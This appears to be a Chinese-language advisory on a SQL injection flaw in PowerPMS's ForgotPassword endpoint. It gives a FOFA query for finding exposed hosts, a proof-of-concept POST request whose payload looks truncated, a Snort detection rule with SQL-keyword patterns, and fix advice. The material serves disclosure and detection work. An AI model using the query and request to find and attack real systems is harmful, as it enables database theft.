跳转至

普华-PowerPMS ForgotPassword 存在SQL注入漏洞

普华-PowerPMS ForgotPassword 存在SQL注入漏洞，攻击者可进行sql注入攻击获取数据库信息或者权限。

影响版本

普华-PowerPMS

漏洞状态

漏洞细节 漏洞POC 漏洞EXP 在野利用
是 已公开 已公开 已知

风险等级

维度 评价
威胁等级 高危
影响面 广
攻击者价值 高
利用难度 低

漏洞复现

FOFA：body="Power.login.init" && body="Power.ui.warning" && body="Power_login_btn"

POC/EXP：

POST /Account/ForgotPassword HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
Content-Type: application/x-www-form-urlencoded

email=%202

image-20250710135819837

snort规则：

alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (
    msg:"PowerPMS - SQL Injection in ForgotPassword (CVE-2025-XXXXX)";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/Account/ForgotPassword"; http_uri;
    content:"email="; http_client_body;
    pcre:"/email=[^&]*'[\s\S]*?(SELECT|UNION|WAITFOR|SLEEP)/i";
    metadata:service http;
    metadata:affected_product "普华PowerPMS";
    metadata:vulnerability_type "SQL Injection";
    classtype:sql-injection;
    sid:1000280;
    rev:1;
    priority:1;
)

漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本。